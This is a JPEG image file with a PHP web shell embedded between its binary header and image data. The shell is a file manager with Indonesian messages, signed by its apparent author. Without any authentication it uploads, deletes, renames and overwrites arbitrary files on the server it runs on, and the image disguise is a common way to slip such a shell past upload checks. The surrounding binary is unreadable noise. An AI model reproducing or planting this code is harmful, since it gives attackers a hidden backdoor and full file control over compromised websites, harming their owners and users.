���� JFIF ���Exif MM * � 1024 && $i < count($units) - 1; $i++) { $size /= 1024; } return round($size, 2) . ' ' . $units[$i]; } $action = $_POST['action'] ?? $_GET['action'] ?? ''; $message = ''; if ($action === 'upload' && isset($_FILES['file'])) { $uploadPath = $currentDir . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) { $message = 'Upload berhasil: ' . basename($_FILES['file']['name']); } else { $message = 'Upload gagal!'; } } elseif ($action === 'delete' && isset($_GET['item'])) { $itemPath = $currentDir . '/' . $_GET['item']; if (is_file($itemPath)) { if (unlink($itemPath)) { $message = 'File dihapus: ' . basename($_GET['item']); } else { $message = 'Gagal hapus file!'; } } elseif (is_dir($itemPath)) { if (@rmdir($itemPath)) { $message = 'Direktori dihapus: ' . basename($_GET['item']); } else { $message = 'Gagal hapus direktori! (Kosongkan dulu isinya)'; } } } elseif ($action === 'rename' && isset($_POST['oldname']) && isset($_POST['newname'])) { $oldPath = $currentDir . '/' . $_POST['oldname']; $newPath = $currentDir . '/' . $_POST['newname']; if (rename($oldPath, $newPath)) { $message = 'Berhasil rename: ' . htmlspecialchars($_POST['oldname']) . ' → ' . htmlspecialchars($_POST['newname']); } else { $message = 'Gagal rename file/direktori!'; } } elseif ($action === 'edit' && isset($_POST['filename'])) { $filePath = $currentDir . '/' . $_POST['filename']; file_put_contents($filePath, $_POST['content']); $message = 'File disimpan: ' . htmlspecialchars($_POST['filename']); } $items = scandir($currentDir); sort($items); ?>
Current dir: = htmlspecialchars($currentDir) ?>
⬆️ Kembali'; } foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $currentDir . '/' . $item; echo 'Coded by ./meicookies
�� C $.' ",#(7),01444'9=82<.342�� C 2!!22222222222222222222222222222222222222222222222222�� N �" �� �� � } !1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������� �� � w !1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ? ��d��ao\�����XI���05-,�b�ީ�I[P���I-��tIAf<��_˭ ꜔ I��.x�C̪s���9#�Iꟗ��� ��RIo���u'�Z�%�I�hy��<��>H�:������Ջ�2I$� W��\݄�h�#�9?w�D��ٝ$q�V*ǗG�PfW��GyT玳��){@7?�*������$�J=�.�+{��y*���{@3縪� l��Io�Tc� �^IV �I$���RA�% nXWIi�����<�먂��ܴ����J��H/<�:��$����*I/(,�<�NI*��eG$� IqT个�w�%��(RI#�����˒��+07<�<���eX�̒�4*��q$v� �����ğ�� ��O�iYz�o��g\�*S�r��������� ,�?�� $��#������ �d���#�� $���_����oP�ϳ�q�$u�� r\yq��I+R9<���+�W�:Ԓ:�